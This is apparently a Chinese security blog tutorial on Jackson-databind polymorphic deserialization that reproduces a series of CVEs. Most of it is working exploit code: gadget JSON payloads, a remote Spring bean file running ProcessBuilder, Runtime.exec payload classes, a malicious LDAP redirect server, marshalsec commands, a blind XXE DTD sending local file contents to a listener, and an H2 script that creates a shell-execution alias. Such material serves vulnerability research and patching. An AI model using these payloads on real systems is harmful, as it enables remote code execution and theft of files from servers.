Jackson是一款当下流行的json解释器,主要负责处理Json的序列化和反序列化。
基础概念
jackson核心模块由三部分构成:
jackson-core - 核心包,提供基于流模式API
jackson-annotations - 注解包,提供标准注解功能
jackson-databind - 数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Test { public static void main (String[] args) throws IOException { User user=new User("test" ,18 ); ObjectMapper objectMapper=new ObjectMapper(); String json=objectMapper.writeValueAsString(user); System.out.println(json); User user1=objectMapper.readValue(json,User.class ) ; System.out.println(user1); } }
Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。 从文档 中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。
DefaultTyping在这个方式里面一种有4个值
JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。
OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。
NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。
NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;class JavaLangObject { public static void main (String args[]) throws IOException { People p = new People(); p.age = 10 ; p.name = "Mike" ; p.object = new ObjectDemo(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); String json = mapper.writeValueAsString(p); System.out.println(json); People p2 = mapper.readValue(json, People.class ) ; System.out.println(p2); } } class People { public int age; public String name; public Object object; @Override public String toString () { return String.format("age=%d, name=%s, %s" , age, name, object == null ? "null" : object); } } class ObjectDemo { public int length = 100 ; }
@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。
1 2 3 4 5
@JsonTypeInfo (use = JsonTypeInfo.Id.NONE)@JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)@JsonTypeInfo (use = JsonTypeInfo.Id.MINIMAL_CLASS)@JsonTypeInfo (use = JsonTypeInfo.Id.NAME)@JsonTypeInfo (use = JsonTypeInfo.Id.COSTOM)
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Jsontypeinfo { public static void main (String[] args) throws IOException { ObjectMapper mapper= new ObjectMapper(); User user = new User(); user.name= "Mike" ; user.age=100 ; user.obj=new Height(); String json = mapper.writeValueAsString(user); System.out.println(json); } } class User { public String name; public int age; @JsonTypeInfo (use = JsonTypeInfo.Id.NONE) public Object obj; public String toString () { return "name:" + name + " age:" + age + " obj:" + obj; } } class Height { public int h = 100 ; }
(1)、Id.NONE 这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。
1
{"name" :"Mike" ,"age" :100 ,"obj" :{"h" :100 }}
(2)、Id.CLASS 这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。
1
{"name" :"Mike" ,"age" :100 ,"obj" :{"@class" :"com.jacksondemo.Height" ,"h" :100 }}
(3)、Id.MINIMAL_CLASS 这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。
1
{"name" :"Mike" ,"age" :100 ,"obj" :{"@c" :"com.jacksondemo.Height" ,"h" :100 }}
(4)、Id.NAME 这种输出方式没有携带类名字,在反序列化时也是不可以利用的。
1
{"name" :"Mike" ,"age" :100 ,"obj" :{"@type" :"Height" ,"h" :100 }}
(5)、Id.COSTOM 这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。
Jackson反序列化(CVE-2017-7525)
根据触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞
Jackson 2.7版本(<2.7.10)、2.8版本(<2.8.9)
调用了enableDefaultTyping方法
反序列化的类可控
漏洞复现: 本漏洞利用条件如下:
开启 JacksonPolymorphicDeserialization,即调用以下任意方法
1 2
objectMapper.enableDefaultTyping(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
Target class 需要有无参 constructor
Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口
Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。
使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget,发送如下请求,将会执行touch /tmp/prove1.txt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: *
这个POC只能运行在目标为JDK7u21以下的环境中,其他情况请更换Gadget。
Jackson反序列化(CVE-2017-17485)
针对CVE-2017-7525 黑名单修复 绕过,利用了 org.springframework.context.support.FileSystemXmlApplicationContext。
利用该漏洞,我们需要创建一个bean文件,放置在任意服务器上,如 http://evil/spel.xml, 内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd " > <bean id="pb" class ="java.lang.ProcessBuilder" > <constructor-arg> <array> <value>touch</value> <value>/tmp/prove2.txt</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }" /> </bean> </beans>
然后,发送如下数据包,使Jackson加载bean,触发漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: *
成功执行touch /tmp/prove2.txt 原理: 利用 FileSystemXmlApplicationContext 加载远程 bean 定义文件,创建 ProcessBuilder bean,并在 xml 文件中使用 Spring EL 来调用 start() 方法实现命令执行
漏洞分析
环境 App.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;import java.lang.reflect.Array;public class App { public static void main (String args[]) { testSpringFramework(); } public static void testSpringFramework () { String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " + "\"http://127.0.0.1/spel.xml\"]\n" ; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { mapper.readValue(payload, Object.class ) ; } catch (IOException e) { e.printStackTrace(); } } }
开启web服务,并将如下的spel.xml文件放入根目录中
spel.xml
1 2 3 4 5 6 7 8 9 10 11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc" /> <property name="any" value="#{ pb.start() }"/> </bean> </beans>
Jackson-databind 反序列化 (CVE-2020-8840)
这个CVE利用xbean-reflect利用链造成JNDI注入 影响版本:2.0.0 - 2.9.10.2
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<dependencies > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.9.9</version > </dependency > <dependency > <groupId > org.apache.xbean</groupId > <artifactId > xbean-reflect</artifactId > <version > 4.16</version > </dependency > <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 3.1.1</version > </dependency > </dependencies >
起一个web服务器,并将编译的Exploit.class放入根目录中
1
python -m http.server 8080
Exploit.java
1 2 3 4 5 6 7 8 9 10
public class Exploit { public Exploit () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
marshalsec开启LDAP服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main (String args[]) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]" ; mapper.readValue(json, Object.class ) ; } }
CVE-2020-14060
影响范围
jackson-databind before 2.9.10.4
jackson-databind before 2.8.11.6
jackson-databind before 2.7.9.7
利用条件
开启enableDefaultTyping()
使用了org.apache.drill.exec:drill-jdbc-all第三方依赖
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <dependency> <groupId>org.apache.drill.exec</groupId> <artifactId>drill-jdbc-all</artifactId> <version>1.4.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https: <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> </dependencies> </dependencies> <!-- https:
PS:这里的漏洞所使用的库包需要在1.4版本才可以,之后没有该漏洞类,而目前最新的已经是1.17.0了,所以总体来说较为鸡肋~
启动web服务,并放入编译好的badClassName.class文件
badClassName.java
1 2 3 4 5 6 7 8
import java.io.IOException;public class badClassName { public badClassName () throws IOException { Runtime.getRuntime().exec("calc" ); } }
启动LDAPServer 服务
LDAPServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8888/#badClassName" ; int port = 1389 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); } } }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"oadd.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1389/badClassName\"}]" ; try { Object obj = mapper.readValue(payload, Object.class ) ; mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
之后运行该程序,成功执行命令,弹出计算器:
CVE-2020-14062
影响范围
jackson-databind before 2.9.10.4
jackson-databind before 2.8.11.6
jackson-databind before 2.7.9.7
利用条件
开启enableDefaultTyping()
使用了com.sun.xml.parsers:jaxp-ri第三方依赖
漏洞复现
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <dependency> <groupId>com.sun.xml.parsers</groupId> <artifactId>jaxp-ri</artifactId> <version>1.4</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https: <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> </dependencies>
Poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1389/badClassName\"}]" ; try { Object obj = mapper.readValue(payload, Object.class ) ; mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
CVE-2020-14195
影响范围
jackson-databind before 2.9.10.4
jackson-databind before 2.8.11.6
jackson-databind before 2.7.9.7
利用条件
开启enableDefaultTyping()
使用了org.jsecurity.realm.jndi.JndiRealmFactory第三方依赖
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
<dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.4</version> </dependency> <!-- https: <dependency> <groupId>org.jsecurity</groupId> <artifactId>jsecurity</artifactId> <version>0.9.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <!-- https: <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency> </dependencies>
漏洞Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\",{\"jndiNames\":\"ldap://127.0.0.1:1389/badClassName\"}]" ; try { Object obj = mapper.readValue(payload, Object.class ) ; mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); } } }
影响范围
利用条件
开启enableDefaultTyping
使用了JDOM 1.x 或 JDOM 2.x 依赖
漏洞简介 在Jackson 2.x ~ Jackson 2.9.9,当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法并且服务端使用了JDOM 1.x 或 JDOM 2.x 依赖库时,攻击者可以发送恶意的JSON消息,读取远程服务器上的任意文件。
创建一个Meaven项目,在pom.xml文件中添加以下依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<dependencies > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.9.9</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-annotations</artifactId > <version > 2.9.9</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-core</artifactId > <version > 2.9.9</version > </dependency > <dependency > <groupId > org.jdom</groupId > <artifactId > jdom2</artifactId > <version > 2.0.6</version > </dependency > </dependencies >
编写poc.xml 该XXE属于Blind XXE,我们构造以下恶意xml代码,它会去调用位于我们的攻击主机上(这里以本地启动的Http服务模拟)的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误):
1 2 3 4 5 6 7 8
<?xml version="1.0" ?> <!DOCTYPE any [ <!ENTITY % file SYSTEM "file:///g:/json.txt" > <!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd" > %remote; %send; ]> <foo > </foo >
编写evil.dtd
1 2
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://127.0.0.1/%file;'>" > %ppp;
起一个web服务,端口为4444,将以上两个xml文件放入其中。
1
python -m http.server 4444
再起一个web服务,端口为80,接受盲打返回的信息
1
python -m http.server 80
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main (String[] args) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]" ; try { mapper.readValue(payload, Object.class ) ; } catch (IOException e) { e.printStackTrace(); } } }
漏洞原理可看此文章:Jackson JDOM XSLTransformer Gadget浅析
jackson-databind RCE(CVE-2020-36186)
影响范围
Jackson-databind < 2.9.10.7
利用条件
开启enableDefaultTyping()
使用了commons-dbcp第三方依赖库
漏洞概述 org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
漏洞复现 pom.xml如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<dependencies > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.9.10.7</version > </dependency > <dependency > <groupId > tomcat</groupId > <artifactId > naming-factory-dbcp</artifactId > <version > 5.5.23</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-nop</artifactId > <version > 1.7.2</version > </dependency > <dependency > <groupId > javax.transaction</groupId > <artifactId > jta</artifactId > <version > 1.1</version > </dependency > </dependencies >
开启ldap服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:4444/#Exploit 1389
Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.SerializationFeature;public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false ); String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"}]" ; Object obj = mapper.readValue(json, Object.class ) ; mapper.writeValueAsString(obj); } }
Jackson-databind SSRF&RCE(CVE-2020-36189)
影响范围
Jackson-databind < 2.9.10.7
利用条件
开启enableDefaultTyping()
使用了com.h2database\com.newrelic.agent.java第三方依赖库
漏洞概述 com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。
漏洞复现 pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
<dependencies > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.9.10.7</version > </dependency > <dependency > <groupId > com.newrelic.agent.java</groupId > <artifactId > newrelic-agent</artifactId > <version > 4.9.0</version > </dependency > <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 1.4.199</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-nop</artifactId > <version > 1.7.2</version > </dependency > <dependency > <groupId > javax.transaction</groupId > <artifactId > jta</artifactId > <version > 1.1</version > </dependency > </dependencies >
SSRF
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.SerializationFeature;public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false ); String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://pxrrvz.dnslog.cn/'\"}]" ; Object obj = mapper.readValue(json, Object.class ) ; mapper.writeValueAsString(obj); } }
RCE
web服务放入 exec.sql文件 exec.sql
1 2 3 4 5
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A" ); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('calc.exe' )
poc
1 2 3 4 5 6 7 8 9 10 11
public class Poc { public static void main (String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false ); String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'\"}]" ; Object obj = mapper.readValue(json, Object.class ) ; mapper.writeValueAsString(obj); } }
Jackson-databind SSRF
影响范围
jackson-databind before 2.9.10.3
jackson-databind before 2.10.2
利用条件
漏洞概述 漏洞类javax.swing.JEditorPane来源于JDK不需要依赖任何jar包,该类在jackson-databind进行反序列化时可造成SSRFJackson-databind SSRF浅析
官方新规
2020年12月30号,Jackson-databind官方表明由于之前对于黑名单更新的补丁过于频繁而且有大量的绕过是的版本的更新迭代过于频繁,加上申请CVE的流程使得整个维护变得更加繁琐,所以决定从2020年12月31号发布最后一个2.9.10.8版本之后将不再对此黑名单进行维护(除非有极其严重的问题发生),同时也不再给相关白帽子申请相关CVE编号,但是会继续接受有关Jackson-databind的黑名单类相关安全报告,更多细节可以参考以下连接:
https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria
参考文章:
https://vulhub.org/ https://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/ Jackson-databind的几个CVE Jackson 反序列化汇总 Jackson反序列化远程代码执行漏洞 Jackson-databind的几个CVE Jackson JDOM XSLTransformer Gadget浅析 Jackson-databind漏洞两则分析 Jackson-databind SSRF浅析
Jackson-databind 反序列化漏洞分析 (CVE-2020-8840): https://patrilic.top/2020/03/24/Jackson-databind%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(CVE-2020-8840)/#CVE-2020-8840
FROM :blog.cfyqy.com | Author:cfyqy
评论